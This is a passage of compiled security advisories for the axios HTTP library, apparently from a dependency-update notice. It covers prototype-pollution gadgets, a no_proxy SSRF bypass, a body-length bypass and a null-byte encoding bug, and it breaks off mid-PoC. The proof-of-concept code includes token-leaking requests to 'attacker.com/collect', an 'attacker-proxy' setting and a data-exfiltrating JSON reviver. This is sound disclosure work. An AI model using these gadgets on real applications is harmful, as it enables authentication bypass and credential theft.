//                                                                              ^^^^^^
//                                           internal encode passed as 2nd arg but only used if
//                                           the external encoder explicitly delegates to it
```

##### Proof of Concept

```javascript
import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';
import buildURL from './lib/helpers/buildURL.js';

// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)
const params = new AxiosURLSearchParams({ file: 'test\x00.txt' });
const result = params.toString();  // NO encoder → uses internal encode with charMap
console.log('Direct toString():', JSON.stringify(result));
// Output: "file=test\u0000.txt" (contains raw null byte)
console.log('Hex:', Buffer.from(result).toString('hex'));
// Output: 66696c653d74657374002e747874  (00 = null byte)

// Test 2: Via buildURL (NOT vulnerable — standard axios flow)
const url = buildURL('http://example.com/api', { file: 'test\x00.txt' });
console.log('Via buildURL:', url);
// Output: http://example.com/api?file=test%00.txt  (%00 preserved safely)
```

##### Verified PoC Output

```
Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874

Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true
```

##### Impact Analysis

**Primary impact is limited** because the standard axios request flow is not affected. However:

- **Direct API users:** Applications using `AxiosURLSearchParams` directly for custom serialization are affected
- **Custom paramsSerializer:** A `paramsSerializer.encode` that delegates to the internal encoder triggers the bug
- **Code defect signal:** The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

##### Recommended Fix

Remove the `%00` entry from charMap and update the regex:

```javascript
function encode(str) {
  const charMap = {
    '!': '%21',
    "'": '%27',
    '(': '%28',
    ')': '%29',
    '~': '%7E',
    '%20': '+',
    // REMOVED: '%00': '\x00'
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {
    //                                           ^^^^ removed |%00
    return charMap[match];
  });
}
```

##### Resources

- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)
- [CWE-116: Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)
- [OWASP: Embedding Null Code](https://owasp.org/www-community/attacks/Embedding_Null_Code)
- [Axios GitHub Repository](https://github.com/axios/axios)

##### Timeline

| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS |
| TBD | Report submitted to vendor via GitHub Security Advisory |

#### Severity
- CVSS Score: 3.7 / 10 (Low)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw](https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42040](https://nvd.nist.gov/vuln/detail/CVE-2026-42040)
- [https://github.com/axios/axios](https://github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xhjh-pmcv-23jw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy
[CVE-2026-42041](https://nvd.nist.gov/vuln/detail/CVE-2026-42041) / [GHSA-w9j2-pvgh-6h63](https://github.com/advisories/GHSA-w9j2-pvgh-6h63)

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

##### Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution to **silently suppress all HTTP error responses** (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that `validateStatus` is the **only** config property using the `mergeDirectKeys` merge strategy, which uses JavaScript's `in` operator — an operator that inherently traverses the prototype chain. When `Object.prototype.validateStatus` is polluted with `() => true`, all HTTP status codes are accepted as success.

**Severity:** High (CVSS 8.2)
**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)
**Vulnerable Component:** `lib/core/mergeConfig.js` (`mergeDirectKeys` strategy) + `lib/core/settle.js`

##### CWE

- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- **CWE-287:** Improper Authentication

##### CVSS 3.1

**Score: 8.2 (High)**

Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N`

| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely |
| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Impact within the application |
| Confidentiality | Low | 401 treated as success may expose data behind auth gates |
| Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions |
| Availability | None | The function works correctly (returns true), no crash |

##### Usage of "Helper" Vulnerabilities

This vulnerability requires **Zero Direct User Input**.

If an attacker can pollute `Object.prototype` via any other library in the stack, Axios will automatically inherit the polluted `validateStatus` function during config merge. The `in` operator in `mergeDirectKeys` makes this property **uniquely susceptible** to prototype pollution compared to all other config properties.

##### Why `validateStatus` Is Uniquely Vulnerable

All other config properties use `defaultToConfig2`, which reads `config2[prop]` (traverses prototype). But `validateStatus` uses `mergeDirectKeys`, which uses the `in` operator:

```javascript
// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
  if (prop in config2) {           // ← `in` traverses prototype chain!
    return getMergedValue(a, b);
  } else if (prop in config1) {
    return getMergedValue(undefined, a);
  }
}

// mergeConfig.js:94
const mergeMap = {
  // ... all others use defaultToConfig2 ...
  validateStatus: mergeDirectKeys,   // ← ONLY property using this strategy
};
```

The `in` operator is a **more aggressive** prototype traversal than property access. While `config2['validateStatus']` also traverses the prototype, the explicit `in` check makes the intent clearer and the vulnerability more direct.

##### Proof of Concept

##### 1. The Setup (Simulated Pollution)

```javascript
Object.prototype.validateStatus = () => true;
```

##### 2. The Gadget Trigger (Safe Code)

```javascript
// Application checks authentication via HTTP status codes
try {
  const response = await axios.get('https://api.internal/admin/users');
  // Developer expects: 401 → catch block → redirect to login
  // Reality: 401 → treated as success → displays admin data
  processAdminData(response.data);  // Executes with 401 response body!
} catch (error) {
  redirectToLogin();  // NEVER REACHED for 401/403/500
}
```

##### 3. The Execution

```javascript
// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true

// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus;  // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
  resolve(response);  // 401, 403, 500 all resolve here!
}
```

##### 4. The Impact

```
Before pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → reject (auth error) → redirectToLogin()
  HTTP 403 → reject (forbidden) → showAccessDenied()
  HTTP 500 → reject (server error) → showErrorPage()

After pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
  HTTP 403 → resolve (SUCCESS!) → application thinks user has access
  HTTP 500 → resolve (SUCCESS!) → application processes error as data
```

##### Verified PoC Output

```
--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500

--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)

--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }
```

##### Impact Analysis

- **Authentication Bypass:** Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
- **Silent Error Swallowing:** 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
- **Security Control Bypass:** Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
- **Universal Scope:** Affects every axios instance in the application, including third-party libraries.

##### Recommended Fix

Replace the `in` operator with `hasOwnProperty` in `mergeDirectKeys`:

```javascript
// FIXED: lib/core/mergeConfig.js
function mergeDirectKeys(a, b, prop) {
  if (Object.prototype.hasOwnProperty.call(config2, prop)) {
    return getMergedValue(a, b);
  } else if (Object.prototype.hasOwnProperty.call(config1, prop)) {
    return getMergedValue(undefined, a);
  }
}
```

##### Resources

- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)
- [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)
- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)
- [MDN: `in` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in)
- [Axios GitHub Repository](https://github.com/axios/axios)

##### Timeline

| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-15 | PoC developed and vulnerability confirmed |
| 2026-04-16 | Report revised for accuracy |
| TBD | Report submitted to vendor via GitHub Security Advisory |

#### Severity
- CVSS Score: 4.8 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63](https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42041](https://nvd.nist.gov/vuln/detail/CVE-2026-42041)
- [https://github.com/axios/axios](https://github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w9j2-pvgh-6h63) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios: no_proxy bypass via IP alias allows SSRF
[CVE-2026-42038](https://nvd.nist.gov/vuln/detail/CVE-2026-42038) / [GHSA-m7pr-hjqh-92cm](https://github.com/advisories/GHSA-m7pr-hjqh-92cm)

<details>
<summary>More information</summary>

#### Details
The fix for no_proxy hostname normalization bypass (#&#8203;10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not
resolve IP aliases or loopback equivalents. As a result:
- no_proxy=localhost does NOT block 127.0.0.1 or [::1]
- no_proxy=127.0.0.1 does NOT block localhost or [::1]

POC :
process.env.no_proxy = 'localhost';
process.env.http_proxy = 'http://attacker-proxy:8888';

```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....
    process.env.http_proxy = 'http://127.0.0.1:8888';

    console.log('=== Test 1: localhost (should bypass proxy) ===');
    try {
      await axios.get('http://localhost:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    console.log('');
    console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
    try {
      await axios.get('http://127.0.0.1:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    fakeProxy.close();
    internalServer.close();
  });
});
EOF
=== Test 1: localhost (should bypass proxy) ===
 Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```

<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />

Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.

Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

#### Severity
- CVSS Score: 6.8 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm](https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42038](https://nvd.nist.gov/vuln/detail/CVE-2026-42038)
- [https://github.com/axios/axios](https://github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m7pr-hjqh-92cm) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0
[CVE-2026-42034](https://nvd.nist.gov/vuln/detail/CVE-2026-42034) / [GHSA-5c9x-8gcm-mpgx](https://github.com/advisories/GHSA-5c9x-8gcm-mpgx)

<details>
<summary>More information</summary>

#### Details
##### Summary

For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.

##### Details

Relevant flow in lib/adapters/http.js:
  - 556-564: maxBodyLength check applies only to buffered/non-stream data.
  - 681-682: maxRedirects === 0 selects native http/https transport.
  - 694-699: options.maxBodyLength is set, but native transport does not enforce it.
  - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.

This creates a path-specific bypass for streamed uploads.

  ### PoC

Environment:

  - Axios main at commit f7a4ee2
  - Node v24.2.0

  Steps:
  1. Start an HTTP server that counts uploaded bytes and returns {received}.
  2. Send a 2 MiB Readable stream with:
      - adapter: 'http'
      - maxBodyLength: 1024
      - maxRedirects: 0

  Observed:
  - Request succeeds; server reports received: 2097152.

  Control checks:
  - Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.
  - Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.

  ### Impact
Type: DoS / uncontrolled upstream upload / resource exhaustion.
Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx](https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42034](https://nvd.nist.gov/vuln/detail/CVE-2026-42034)
- [https://github.com/axios/axios](https://github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5c9x-8gcm-mpgx) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion
[CVE-2026-42042](https://nvd.nist.gov/vuln/detail/CVE-2026-42042) / [GHSA-xx6v-rp6x-q39c](https://github.com/advisories/GHSA-xx6v-rp6x-q39c)

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

##### Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker.

**Severity:** Medium (CVSS 5.4)
**Affected Versions:** All versions since `withXSRFToken` was introduced
**Vulnerable Component:** `lib/helpers/resolveConfig.js:59`
**Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true)

##### CWE

- **CWE-201:** Insertion of Sensitive Information Into Sent Data
- **CWE-183:** Permissive List of Allowed Inputs

##### CVSS 3.1

**Score: 5.4 (Medium)**

Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`

| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP triggered remotely via vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | Required | Victim must use browser with axios making cross-origin requests |
| Scope | Unchanged | Token leakage within browser context |
| Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token |
| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |
| Availability | None | No availability impact |

##### Usage of "Helper" Vulnerabilities

This vulnerability requires **Zero Direct User Input** when triggered via prototype pollution.

If an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `"true"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

##### Vulnerable Code

**File:** `lib/helpers/resolveConfig.js`, lines 57-66

```javascript
// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
//  ^^^^^^^^^^^^^^^^
//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
//  isURLSameOrigin() is NEVER called → token sent to ANY origin
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}
```

**Designed behavior:**
- `true` → always send token (explicit cross-origin opt-in)
- `false` → never send token
- `undefined` → send only for same-origin requests

**Actual behavior for non-boolean truthy values (`1`, `"false"`, `{}`, `[]`):**
- All treated as truthy → same-origin check skipped → token sent everywhere

##### Proof of Concept

```javascript
// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers
```

##### Verified PoC Output

```
withXSRFToken Value        Sends Token Cross-Origin  Expected
true (boolean)             YES                       Yes (opt-in)
false (boolean)            No                        No
undefined (default)        No                        No
1 (number)                 YES ← BUG                No
"false" (string)           YES ← BUG                No
{} (object)                YES ← BUG                No
[] (array)                 YES ← BUG                No

Prototype pollution:
  Object.prototype.withXSRFToken = 1
  config.withXSRFToken = 1 → leaks=true
  isURLSameOrigin() was NOT called (short-circuited)
```

##### Impact Analysis

- **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
- **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application
- **Misconfiguration Risk:** Developer writing `withXSRFToken: "false"` (string) instead of `false` (boolean) triggers the same issue without PP

**Limitations:**
- Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`)
- XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
- Attacker still needs a way to deliver the forged request after obtaining the token

##### Recommended Fix

Use strict boolean comparison:

```javascript
// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
  (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) {
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}
```

##### Resources

- [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html)
- [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)
- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)
- [Axios GitHub Repository](https://github.com/axios/axios)

##### Timeline

| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-16 | Report revised: corrected CVSS, documented limitations |
| TBD | Report submitted to vendor via GitHub Security Advisory |

#### Severity
- CVSS Score: 5.4 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c](https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42042](https://nvd.nist.gov/vuln/detail/CVE-2026-42042)
- [https://github.com/axios/axios](https://github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xx6v-rp6x-q39c) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios: Header Injection via Prototype Pollution
[CVE-2026-42035](https://nvd.nist.gov/vuln/detail/CVE-2026-42035) / [GHSA-6chq-wfr3-2hj9](https://github.com/advisories/GHSA-6chq-wfr3-2hj9)

<details>
<summary>More information</summary>

#### Details
##### Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

##### Details

The vulnerability is in `lib/adapters/http.js`, in the data serialization pipeline:

```javascript
// lib/adapters/http.js
} else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
    headers.set(data.getHeaders());
    // ...
}
```

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

**1. `utils.isFormData(data)` — `lib/utils.js`**
```javascript
const isFormData = (thing) => {
  let kind;
  return thing && (
    (typeof FormData === 'function' && thing instanceof FormData) || (
      isFunction(thing.append) && (
        (kind = kindOf(thing)) === 'formdata' ||
        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')
      )
    )
  )
}
```

**2. `utils.isFunction(data.getHeaders)` — Duck-type for `form-data` npm package**
```javascript
// Returns true if Object.prototype.getHeaders is a function
utils.isFunction(data.getHeaders)
```

##### PoC

```javascript
// Simulate Prototype Pollution
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = () => {};
Object.prototype.getHeaders = () => {
    const headers = Object.create(null);
    (.... Introduce here all the headers you want ....)
    return headers;
};
Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; };
Object.prototype.on = function() { return this; };
Object.prototype.once = function() { return this; };

// Legitimate application code
const response = await axios.post('https://internal-api.company.com/admin/delete',
    { userId: 42 },
    { headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } }
);
```

##### Impact

- Authentication Bypass (CVSS: C:H)
- Session Fixation (CVSS: I:H)
- Privilege Escalation (CVSS: C:H, I:H)
- IP Spoofing / WAF Bypass (CVSS: I:H)

**Note on Scope**: There is an argument to promote this from **S:U to S:C** (Scope: Changed), which would raise the score to **10.0**. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (`Authorization`, `X-Role`, `X-User-ID`, `X-Tenant-ID`) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

##### Recommended Fix

Add an explicit own-property check in `lib/adapters/http.js`:

```diff
- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
-     headers.set(data.getHeaders());
+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&
+            Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {
+     headers.set(data.getHeaders());
```

#### Severity
- CVSS Score: 7.4 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9](https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42035](https://nvd.nist.gov/vuln/detail/CVE-2026-42035)
- [https://github.com/axios/axios](https://github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking
[CVE-2026-42033](https://nvd.nist.gov/vuln/detail/CVE-2026-42033) / [GHSA-pf86-5x62-jrwf](https://github.com/advisories/GHSA-pf86-5x62-jrwf)

<details>
<summary>More information</summary>

#### Details
##### Summary

When `Object.prototype` has been polluted by any co-dependency with keys that axios reads without a `hasOwnProperty` guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.

---

##### Background: how mergeConfig builds the config object

Every axios request goes through `Axios._request` in [`lib/core/Axios.js#L76`](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L76):

```js
config = mergeConfig(this.defaults, config);
```

Inside `mergeConfig`, the merged config is built as a plain `{}` object ([`lib/core/mergeConfig.js#L20`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L20)):

```js
const config = {};
```

A plain `{}` inherits from `Object.prototype`. `mergeConfig` only iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)), which is a spread of own properties. Any key that is absent from both `this.defaults` and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to `Object.prototype`. That is the root mechanism behind all gadgets below.

---

##### Gadget 1: parseReviver -- response tampering and exfiltration

**Introduced in:** v1.12.0 (commit 2a97634, PR #&#8203;5926)
**Affected range:** >= 1.12.0, <= 1.13.6

##### Root cause

The default `transformResponse` function calls [`JSON.parse(data, this.parseReviver)`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124):

```js
return JSON.parse(data, this.parseReviver);
```

`this` is the merged config. `parseReviver` is not present in `defaults` and is not in the `mergeMap` inside `mergeConfig`. It is never set as an own property on the merged config. Accessing `this.parseReviver` therefore walks the prototype chain.

The call fires by default on every string response body because [`lib/defaults/transitional.js#L5`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/transitional.js#L5) sets:

```js
forcedJSONParsing: true,
```

which activates the JSON parse path unconditionally when `responseType` is unset.

`JSON.parse(text, reviver)` calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.

There is no interaction with `assertOptions` here. The `assertOptions` call in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) iterates `Object.keys(config)`, and since `parseReviver` was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before `transformResponse` does.

##### Verification: own-property check

```js
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const mergeConfig = require('./lib/core/mergeConfig.js').default;
const defaults = require('./lib/defaults/index.js').default;

const merged = mergeConfig(defaults, { url: '/test', method: 'get' });
console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false
console.log(merged.parseReviver); // undefined (no pollution)

Object.prototype.parseReviver = function(k, v) { return v; };
console.log(merged.parseReviver); // [Function (anonymous)] -- inherited
delete Object.prototype.parseReviver;
```

##### Proof of concept

Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.

**Terminal 1 -- server (`server_gadget1.mjs`):**

```js
import http from 'http';

const server = http.createServer((req, res) => {
  console.log('[server] request:', req.method, req.url);
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' }));
});

server.listen(19003, '127.0.0.1', () => {
  console.log('[server] listening on 127.0.0.1:19003');
});
```

```
$ node server_gadget1.mjs
[server] listening on 127.0.0.1:19003
[server] request: GET /
```

**Terminal 2 -- client (`poc_parsereviver.mjs`):**

```js
import axios from 'axios';

// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via _.merge).
// In a real application this would be set before any axios request runs.
Object.prototype.parseReviver = function (key, value) {
  // Called for every key-value pair in every JSON response parsed by axios in this process.
  if (key !== '') {
    // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.
    console.log('[exfil]', key, '=', JSON.stringify(value));
  }
  // Tamper: escalate role, inflate balance.
  if (key === 'role') return 'admin';
  if (key === 'balance') return 999999;
  return value;
};

const res = await axios.get('http://127.0.0.1:19003/');
